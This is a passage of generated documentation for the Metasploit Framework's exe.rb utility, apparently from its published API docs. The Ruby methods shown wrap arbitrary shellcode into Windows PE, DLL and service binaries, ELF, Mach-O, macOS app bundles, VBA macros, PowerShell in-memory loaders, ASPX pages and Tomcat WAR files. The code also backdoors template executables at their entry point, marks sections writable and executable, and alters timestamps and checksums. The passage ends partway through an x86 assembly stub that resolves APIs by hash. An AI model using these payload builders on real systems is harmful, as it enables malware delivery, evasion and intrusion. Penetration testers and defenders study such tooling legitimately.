  elf = to_exe_elf(framework, opts, "template_x64_linux.bin", code)
  return elf
end

.to_linux_x86_elf(framework, code, opts = {}) ⇒ Object

Create a 32-bit Linux ELF containing the payload provided in code


728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
# File 'lib/msf/util/exe.rb', line 728

def self.to_linux_x86_elf(framework, code, opts={})
  unless opts[:template]
    default = true
  end

  if default
    elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code)
  else
    # If this isn't our normal template, we have to do some fancy
    # header patching to mark the .text section rwx before putting our
    # payload into the entry point.

    # read in the template and parse it
    e = Metasm::ELF.decode_file(opts[:template])

    # This will become a modified copy of the template's original phdr
    new_phdr = Metasm::EncodedData.new
    e.segments.each { |s|
      # Be lazy and mark any executable segment as writable.  Doing
      # it this way means we don't have to care about which one
      # contains .text
      if s.flags.include? "X"
        s.flags += [ "W" ]
      end
      new_phdr << s.encode(e)
    }

    # Copy the original file
    elf = File.open(opts[:template], "rb") {|fd| fd.read(fd.stat.size) }

    # Replace the header with our rwx modified version
    elf[e.header.phoff, new_phdr.data.length] = new_phdr.data

    # Replace code at the entrypoint with our payload
    entry_off = e.addr_to_off(e.label_addr('entrypoint'))
    elf[entry_off, code.length] = code
  end

  return elf
end

.to_mem_aspx(framework, code, exeopts = {}) ⇒ Object


939
940
941
942
943
944
945
946
947
948
949
950
951
952
# File 'lib/msf/util/exe.rb', line 939

def self.to_mem_aspx(framework, code, exeopts={})
  # Intialize rig and value names
  rig = Rex::RandomIdentifierGenerator.new()
  rig.init_var(:var_funcAddr)
  rig.init_var(:var_hThread)
  rig.init_var(:var_pInfo)
  rig.init_var(:var_threadId)
  rig.init_var(:var_bytearray)

  hash_sub = rig.to_h
  hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])

  return read_replace_script_template("to_mem.aspx.template", hash_sub)
end

.to_osx_app(exe, opts = {}) ⇒ String

Returns zip archive containing an OSX .app directory

Parameters:

  • opts (Hash) (defaults to: {})

    the options hash

Options Hash (opts):

  • :exe_name (String) — default: random

    the name of the macho exe file (never seen by the user)

  • :app_name (String) — default: random

    the name of the OSX app

  • :plist_extra (String) — default: ''

    some extra data to shove inside the Info.plist file

Returns:

  • (String)

    zip archive containing an OSX .app directory


635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
# File 'lib/msf/util/exe.rb', line 635

def self.to_osx_app(exe, opts={})
  exe_name    = opts[:exe_name]    || Rex::Text.rand_text_alpha(8)
  app_name    = opts[:app_name]    || Rex::Text.rand_text_alpha(8)
  plist_extra = opts[:plist_extra] || ''

  app_name.chomp!(".app")
  app_name += ".app"

  info_plist = %Q|
    <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>#{exe_name}</string>
<key>CFBundleIdentifier</key>
<string>com.#{exe_name}.app</string>
<key>CFBundleName</key>
<string>#{exe_name}</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
#{plist_extra}
</dict>
</plist>
  |

  zip = Rex::Zip::Archive.new
  zip.add_file("#{app_name}/", '')
  zip.add_file("#{app_name}/Contents/", '')
  zip.add_file("#{app_name}/Contents/MacOS/", '')
  zip.add_file("#{app_name}/Contents/Resources/", '')
  zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe)
  zip.add_file("#{app_name}/Contents/Info.plist", info_plist)
  zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt')
  zip.pack
end

.to_osx_arm_macho(framework, code, opts = {}) ⇒ Object

Raises:

  • (RuntimeError)

563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
# File 'lib/msf/util/exe.rb', line 563

def self.to_osx_arm_macho(framework, code, opts={})

  # Allow the user to specify their own template
  set_template_default(opts, "template_armle_darwin.bin")

  mo = ''
  File.open(opts[:template], "rb") { |fd|
    mo = fd.read(fd.stat.size)
  }

  bo = mo.index('PAYLOAD:')
  raise RuntimeError, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag" if not bo
  mo[bo, code.length] = code

  return mo
end

.to_osx_ppc_macho(framework, code, opts = {}) ⇒ Object

Raises:

  • (RuntimeError)

580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
# File 'lib/msf/util/exe.rb', line 580

def self.to_osx_ppc_macho(framework, code, opts={})

  # Allow the user to specify their own template
  set_template_default(opts, "template_ppc_darwin.bin")

  mo = ''
  File.open(opts[:template], "rb") { |fd|
    mo = fd.read(fd.stat.size)
  }

  bo = mo.index('PAYLOAD:')
  raise RuntimeError, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag" if not bo
  mo[bo, code.length] = code

  return mo
end

.to_osx_x64_macho(framework, code, opts = {}) ⇒ Object

Raises:

  • (RuntimeError)

614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
# File 'lib/msf/util/exe.rb', line 614

def self.to_osx_x64_macho(framework, code, opts={})
  set_template_default(opts, "template_x64_darwin.bin")

  macho = ''

  File.open(opts[:template], 'rb') { |fd|
    macho = fd.read(fd.stat.size)
  }

  bin = macho.index('PAYLOAD:')
  raise RuntimeError, "Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag" if not bin
  macho[bin, code.length] = code

  return macho
end

.to_osx_x86_macho(framework, code, opts = {}) ⇒ Object

Raises:

  • (RuntimeError)

597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
# File 'lib/msf/util/exe.rb', line 597

def self.to_osx_x86_macho(framework, code, opts={})

  # Allow the user to specify their own template
  set_template_default(opts, "template_x86_darwin.bin")

  mo = ''
  File.open(opts[:template], "rb") { |fd|
    mo = fd.read(fd.stat.size)
  }

  bo = mo.index('PAYLOAD:')
  raise RuntimeError, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag" if not bo
  mo[bo, code.length] = code

  return mo
end

.to_solaris_x86_elf(framework, code, opts = {}) ⇒ Object

Create a 32-bit Solaris ELF containing the payload provided in code


776
777
778
779
# File 'lib/msf/util/exe.rb', line 776

def self.to_solaris_x86_elf(framework, code, opts={})
  elf = to_exe_elf(framework, opts, "template_x86_solaris.bin", code)
  return elf
end

.to_vba(framework, code, opts = {}) ⇒ Object


848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
# File 'lib/msf/util/exe.rb', line 848

def self.to_vba(framework,code,opts={})
  hash_sub = {}
  hash_sub[:var_myByte]		  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_myArray]		  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_rwxpage]  	  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_res]      	  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_offset] 		  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_dwStackSize]        = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lpStartAddress]     = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lpParameter]        = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_dwCreationFlags]	  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lpThreadID]         = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lpAddr]             = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lSize]              = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_flAllocationType]   = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_flProtect]          = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lDest]	          = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_Source]	 	  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_Length]		  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize

  # put the shellcode bytes into an array
  hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])

  return read_replace_script_template("to_mem.vba.template", hash_sub)
end

.to_war(jsp_raw, opts = {}) ⇒ String

TODO:

Refactor to return a Rex::Zip::Archive or Rex::Zip::Jar

Creates a Web Archive (WAR) file from the provided jsp code.

On Tomcat, WAR files will be deployed into a directory with the same name as the archive, e.g. foo.war will be extracted into foo/. If the server is in a default configuration, deoployment will happen automatically. See the Tomcat documentation for a description of how this works.

Parameters:

  • jsp_raw (String)

    JSP code to be added in a file called jsp_name in the archive. This will be compiled by the victim servlet container (e.g., Tomcat) and act as the main function for the servlet.

  • opts (Hash) (defaults to: {})

Options Hash (opts):

  • :jsp_name (String)

    Name of the <jsp-file> in the archive _without the .jsp extension_. Defaults to random.

  • :app_name (String)

    Name of the app to put in the <servlet-name> tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to random.

  • :extra_files (Array<String,String>)

    Additional files to add to the archive. First elment is filename, second is data

Returns:

  • (String)

1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
# File 'lib/msf/util/exe.rb', line 1064

def self.to_war(jsp_raw, opts={})
  jsp_name = opts[:jsp_name]
  jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
  app_name = opts[:app_name]
  app_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)

  meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')
  manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
  web_xml = %q{<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<servlet>
<servlet-name>NAME</servlet-name>
<jsp-file>/PAYLOAD.jsp</jsp-file>
</servlet>
</web-app>
}
  web_xml.gsub!(/NAME/, app_name)
  web_xml.gsub!(/PAYLOAD/, jsp_name)

  zip = Rex::Zip::Archive.new
  zip.add_file('META-INF/', '', meta_inf)
  zip.add_file('META-INF/MANIFEST.MF', manifest)
  zip.add_file('WEB-INF/', '')
  zip.add_file('WEB-INF/web.xml', web_xml)
  # add the payload
  zip.add_file("#{jsp_name}.jsp", jsp_raw)

  # add extra files
  if opts[:extra_files]
    opts[:extra_files].each { |el|
      zip.add_file(el[0], el[1])
    }
  end

  return zip.pack
end

.to_win32pe(framework, code, opts = {}) ⇒ Object


153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
# File 'lib/msf/util/exe.rb', line 153

def self.to_win32pe(framework, code, opts={})

  # For backward compatability, this is roughly equivalent to 'exe-small' fmt
  if opts[:sub_method]
    if opts[:inject]
      raise RuntimeError, 'NOTE: using the substitution method means no inject support'
    end

    # use
    return self.to_win32pe_exe_sub(framework, code, opts)
  end

  # Allow the user to specify their own EXE template
  set_template_default(opts, "template_x86_windows.exe")

  # Copy the code to a new RWX segment to allow for self-modifying encoders
  payload = win32_rwx_exec(code)

  # Create a new PE object and run through sanity checks
  fsize = File.size(opts[:template])
  pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
  text = nil
  pe.sections.each do |sec|
    text = sec if sec.name == ".text"
  end

  #try to inject code into executable by adding a section without affecting executable behavior
  if(opts[:inject])
    injector = Msf::Exe::SegmentInjector.new({
        :payload  => code,
        :template => opts[:template],
        :arch     => :x86
    })
    exe = injector.generate_pe
    return exe
  end

  if(not text)
    raise RuntimeError, "No .text section found in the template"
  end

  if ! text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
    raise RuntimeError, "The .text section does not contain an entry point"
  end

  p_length = payload.length + 256
  if(text.size < p_length)
    fname = ::File.basename(opts[:template])
    msg  = "The .text section for '#{fname}' is too small. "
    msg << "Minimum is #{p_length.to_s} bytes, your .text section is #{text.size.to_s} bytes"
    raise RuntimeError, msg
  end

  # Store some useful offsets
  off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
  off_beg = pe.rva_to_file_offset(text.base_rva)

  # We need to make sure our injected code doesn't conflict with the
  # the data directories stored in .text (import, export, etc)
  mines = []
  pe.hdr.opt['DataDirectory'].each do |dir|
    next if dir.v['Size'] == 0
    next if not text.contains_rva?( dir.v['VirtualAddress'] )
    mines << [ pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg, dir.v['Size'] ]
  end

  # Break the text segment into contiguous blocks
  blocks = []
  bidx   = 0
  mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
    bbeg = bidx
    bend = mine[0]
    if(bbeg != bend)
      blocks << [bidx, bend-bidx]
    end
    bidx = mine[0] + mine[1]
  end

  # Add the ending block
  if(bidx < text.size - 1)
    blocks << [bidx, text.size - bidx]
  end

  # Find the largest contiguous block
  blocks.sort!{|a,b| b[1]<=>a[1]}
  block = blocks[0]

  # TODO: Allow the entry point in a different block
  if(payload.length + 256 > block[1])
    raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})"
  end

  # Make a copy of the entire .text section
  data = text.read(0,text.size)

  # Pick a random offset to store the payload
  poff = rand(block[1] - payload.length - 256)

  # Flip a coin to determine if EP is before or after
  eloc = rand(2)
  eidx = nil

  # Pad the entry point with random nops
  entry = generate_nops(framework, [ARCH_X86], rand(200)+51)

  # Pick an offset to store the new entry point
  if(eloc == 0) # place the entry point before the payload
    poff += 256
    eidx = rand(poff-(entry.length + 5))
  else          # place the entry pointer after the payload
    poff -= 256
    eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length
  end

  # Relative jump from the end of the nops to the payload
  entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')

  # Mangle 25% of the original executable
  1.upto(block[1] / 4) do
    data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
  end

  # Patch the payload and the new entry point into the .text
  data[block[0] + poff, payload.length] = payload
  data[block[0] + eidx, entry.length]   = entry

  # Create the modified version of the input executable
  exe = ''
  File.open(opts[:template], 'rb') { |fd|
    exe = fd.read(fd.stat.size)
  }

  exe[ exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = [ text.base_rva + block[0] + eidx ].pack("V")
  exe[off_beg, data.length] = data

  tds = pe.hdr.file.TimeDateStamp
  exe[ exe.index([ tds ].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")

  cks = pe.hdr.opt.CheckSum
  if(cks != 0)
    exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
  end

  pe.close

  exe
end

.to_win32pe_dll(framework, code, opts = {}) ⇒ Object


479
480
481
482
483
484
485
486
487
488
489
# File 'lib/msf/util/exe.rb', line 479

def self.to_win32pe_dll(framework, code, opts={})
  # Allow the user to specify their own DLL template
  set_template_default(opts, "template_x86_windows.dll")
  opts[:exe_type] = :dll

  if opts[:inject]
     return self.to_win32pe(framework, code, opts)
  else
    return exe_sub_method(code,opts)
  end
end

.to_win32pe_exe_sub(framework, code, opts = {}) ⇒ Object


441
442
443
444
445
446
# File 'lib/msf/util/exe.rb', line 441

def self.to_win32pe_exe_sub(framework, code, opts={})
  # Allow the user to specify their own DLL template
  set_template_default(opts, "template_x86_windows.exe")
  opts[:exe_type] = :exe_sub
  exe_sub_method(code,opts)
end

.to_win32pe_old(framework, code, opts = {}) ⇒ Object

Raises:

  • (RuntimeError)

340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
# File 'lib/msf/util/exe.rb', line 340

def self.to_win32pe_old(framework, code, opts={})

  payload = code.dup
  # Allow the user to specify their own EXE template
  set_template_default(opts, "template_x86_windows_old.exe")

  pe = ''
  File.open(opts[:template], "rb") { |fd|
    pe = fd.read(fd.stat.size)
  }

  if(payload.length <= 2048)
    payload << Rex::Text.rand_text(2048-payload.length)
  else
    raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
  end

  bo = pe.index('PAYLOAD:')
  raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag" if not bo
  pe[bo, payload.length] = payload

  pe[136, 4] = [rand(0x100000000)].pack('V')

  ci = pe.index("\x31\xc9" * 160)
  raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\"" if not ci
  cd = pe.index("\x31\xc9" * 160, ci + 320)
  raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\"" if not cd
  rc = pe[ci+320, cd-ci-320]

  # 640 + rc.length bytes of room to store an encoded rc at offset ci
  enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
  lft = 640+rc.length - enc.length

  buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
  pe[ci, buf.length] = buf

  # Make the data section executable
  xi = pe.index([0xc0300040].pack('V'))
  pe[xi,4] = [0xe0300020].pack('V')

  # Add a couple random bytes for fun
  pe << Rex::Text.rand_text(rand(64)+4)

  return pe
end

.to_win32pe_psh(framework, code, opts = {}) ⇒ Object


971
972
973
974
975
976
977
978
979
980
981
982
983
984
# File 'lib/msf/util/exe.rb', line 971

def self.to_win32pe_psh(framework, code, opts={})
  hash_sub = {}
  hash_sub[:var_code] 		= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_win32_func]	= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_payload] 		= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_size] 		= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_rwx] 		= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_iter] 		= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_syscode] 		= Rex::Text.rand_text_alpha(rand(8)+8)

  hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])

  return read_replace_script_template("to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end

.to_win32pe_psh_net(framework, code, opts = {}) ⇒ Object


954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
# File 'lib/msf/util/exe.rb', line 954

def self.to_win32pe_psh_net(framework, code, opts={})
  hash_sub = {}
  hash_sub[:var_code] 		= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_kernel32] 	= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_baseaddr] 	= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_threadHandle] 	= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_output] 		= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_temp] 		= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_codeProvider] 	= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_compileParams] 	= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_syscode] 		= Rex::Text.rand_text_alpha(rand(8)+8)

  hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)

  return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end

.to_win32pe_psh_reflection(framework, code, opts = {}) ⇒ Object

Reflection technique prevents the temporary .cs file being created for the .NET compiler Tweaked by shellster Originally from PowerSploit


991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
# File 'lib/msf/util/exe.rb', line 991

def self.to_win32pe_psh_reflection(framework, code, opts={})
  # Intialize rig and value names
  rig = Rex::RandomIdentifierGenerator.new()
  rig.init_var(:func_get_proc_address)
  rig.init_var(:func_get_delegate_type)
  rig.init_var(:var_code)
  rig.init_var(:var_module)
  rig.init_var(:var_procedure)
  rig.init_var(:var_unsafe_native_methods)
  rig.init_var(:var_parameters)
  rig.init_var(:var_return_type)
  rig.init_var(:var_type_builder)
  rig.init_var(:var_buffer)
  rig.init_var(:var_hthread)

  hash_sub = rig.to_h

  hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)

  return read_replace_script_template("to_mem_pshreflection.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end

.to_win32pe_service(framework, code, opts = {}) ⇒ Object


465
466
467
468
469
470
# File 'lib/msf/util/exe.rb', line 465

def self.to_win32pe_service(framework, code, opts={})
  # Allow the user to specify their own service EXE template
  set_template_default(opts, "template_x86_windows_svc.exe")
  opts[:exe_type] = :service_exe
  exe_sub_method(code,opts)
end

.to_win32pe_vbs(framework, code, opts = {}) ⇒ Object


1013
1014
1015
# File 'lib/msf/util/exe.rb', line 1013

def self.to_win32pe_vbs(framework, code, opts={})
  to_exe_vbs(to_win32pe(framework, code, opts), opts)
end

.to_win64pe(framework, code, opts = {}) ⇒ Object


448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
# File 'lib/msf/util/exe.rb', line 448

def self.to_win64pe(framework, code, opts={})
  # Allow the user to specify their own EXE template
  set_template_default(opts, "template_x64_windows.exe")
  #try to inject code into executable by adding a section without affecting executable behavior
  if(opts[:inject])
    injector = Msf::Exe::SegmentInjector.new({
       :payload  => code,
       :template => opts[:template],
       :arch     => :x64
    })
    exe = injector.generate_pe
    return exe
  end
  opts[:exe_type] = :exe_sub
  exe_sub_method(code,opts)
end

.to_win64pe_dll(framework, code, opts = {}) ⇒ Object


491
492
493
494
495
496
497
498
499
500
501
# File 'lib/msf/util/exe.rb', line 491

def self.to_win64pe_dll(framework, code, opts={})
  # Allow the user to specify their own DLL template
  set_template_default(opts, "template_x64_windows.dll")
  opts[:exe_type] = :dll

  if opts[:inject]
    raise RuntimeError, 'Template injection unsupported for x64 DLLs'
  else
    return exe_sub_method(code,opts)
  end
end

.to_win64pe_service(framework, code, opts = {}) ⇒ Object


472
473
474
475
476
477
# File 'lib/msf/util/exe.rb', line 472

def self.to_win64pe_service(framework, code, opts={})
  # Allow the user to specify their own service EXE template
  set_template_default(opts, "template_x64_windows_svc.exe")
  opts[:exe_type] = :service_exe
  exe_sub_method(code,opts)
end

.to_winpe_only(framework, code, opts = {}, arch = "x86") ⇒ Object


301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
# File 'lib/msf/util/exe.rb', line 301

def self.to_winpe_only(framework, code, opts={}, arch="x86")

  if arch == ARCH_X86_64
    arch = ARCH_X64
  end

  # Allow the user to specify their own EXE template
  set_template_default(opts, "template_"+arch+"_windows.exe")

  pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)

  exe = ''
    File.open(opts[:template], 'rb') { |fd|
      exe = fd.read(fd.stat.size)
    }

  sections_header = []
  pe._file_header.v['NumberOfSections'].times { |i| sections_header << [(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18+0x24),exe[(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18),0x28]] }


  #look for section with entry point
  sections_header.each do |sec|
    virtualAddress = sec[1][0xc,0x4].unpack('L')[0]
    sizeOfRawData = sec[1][0x10,0x4].unpack('L')[0]
    characteristics = sec[1][0x24,0x4].unpack('L')[0]
    if pe.hdr.opt.AddressOfEntryPoint >= virtualAddress && pe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData
      #put this section writable
      characteristics|=0x80000000
      newcharacteristics = [characteristics].pack('L')
      exe[sec[0],newcharacteristics.length]=newcharacteristics
    end
  end

  #put the shellcode at the entry point, overwriting template
  exe[pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint),code.length]=code

  return exe
end

.win32_rwx_exec(code) ⇒ Object

This wrapper is responsible for allocating RWX memory, copying the target code there, setting an exception handler that calls ExitProcess and finally executing the code.


1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
# File 'lib/msf/util/exe.rb', line 1223

def self.win32_rwx_exec(code)

  stub_block = %Q^
  ; Input: The hash of the API to call and all its parameters must be pushed onto stack.
  ; Output: The return value from the API call will be in EAX.
  ; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
  ; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
  ; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
  ; Note: This function is unable to call forwarded exports.

  api_call:
    pushad                 ; We preserve all the registers for the caller, bar EAX and ECX.
    mov ebp, esp           ; Create a new stack frame
    xor edx, edx           ; Zero EDX
    mov edx, [fs:edx+48]   ; Get a pointer to the PEB
    mov edx, [edx+12]      ; Get PEB->Ldr
    mov edx, [edx+20]      ; Get the first module from the InMemoryOrder module list
  next_mod:                ;
    mov esi, [edx+40]      ; Get pointer to modules name (unicode string)
    movzx ecx, word [edx+38] ; Set ECX to the length we want to check
    xor edi, edi           ; Clear EDI which will store the hash of the module name
  loop_modname:            ;
    xor eax, eax           ; Clear EAX
    lodsb                  ; Read in the next byte of the name
    cmp al, 'a'            ; Some versions of Windows use lower case module names
    jl not_lowercase       ;
    sub al, 0x20           ; If so normalise to uppercase
  not_lowercase:           ;
    ror edi, 13            ; Rotate right our hash value
    add edi, eax           ; Add the next byte of the name
    ;loop loop_modname      ; Loop until we have read enough
    ; The random jmps added below will occasionally make this offset
    ; greater than will fit in a byte, so we have to use a regular jnz
    ; instruction which can take a full 32-bits to accomodate the
    ; bigger offset
    dec ecx
    jnz loop_modname        ; Loop until we have read enough
    ; We now have the module hash computed
    push edx               ; Save the current position in the module list for later
    push edi               ; Save the current module hash for later
    ; Proceed to iterate the export address table,
    mov edx, [edx+16]      ; Get this modules base address
    mov eax, [edx+60]      ; Get PE header
    add eax, edx           ; Add the modules base address
    mov eax, [eax+120]     ; Get export tables RVA
    test eax, eax          ; Test if no export address table is present
    jz get_next_mod1       ; If no EAT present, process the next module
    add eax, edx           ; Add the modules base address
    push eax               ; Save the current modules EAT
    mov ecx, [eax+24]      ; Get the number of function names
    mov ebx, [eax+32]      ; Get the rva of the function names
    add ebx, edx           ; Add the modules base address
    ; Computing the module hash + function hash
  get_next_func:           ;
    test ecx, ecx          ; Changed from jecxz to accomodate the larger offset produced by random jmps below
    jz get_next_mod        ; When we reach the start of the EAT (we search backwards), process the next module
    dec ecx                ; Decrement the function name counter
    mov esi, [ebx+ecx*4]   ; Get rva of next module name
    add esi, edx           ; Add the modules base address
    xor edi, edi           ; Clear EDI which will store the hash of the function name
    ; And compare it to the one we want
  loop_funcname:           ;
    xor eax, eax           ; Clear EAX
    lodsb                  ; Read in the next byte of the ASCII function name
    ror edi, 13            ; Rotate right our hash value
    add edi, eax           ; Add the next byte of the name
    cmp al, ah             ; Compare AL (the next byte from the name) to AH (null)
    jne loop_funcname      ; If we have not reached the null terminator, continue
    add edi, [ebp-8]       ; Add the current module hash to the function hash
    cmp edi, [ebp+36]      ; Compare the hash to the one we are searchnig for
    jnz get_next_func      ; Go compute the next function hash if we have not found it
    ; If found, fix up stack, call the function and then value else compute the next one...
    pop eax                ; Restore the current modules EAT
    mov ebx, [eax+36]      ; Get the ordinal table rva
    add ebx, edx           ; Add the modules base address
    mov cx, [ebx+2*ecx]    ; Get the desired functions ordinal
    mov ebx, [eax+28]      ; Get the function addresses table rva
    add ebx, edx           ; Add the modules base address
    mov eax, [ebx+4*ecx]   ; Get the desired functions RVA
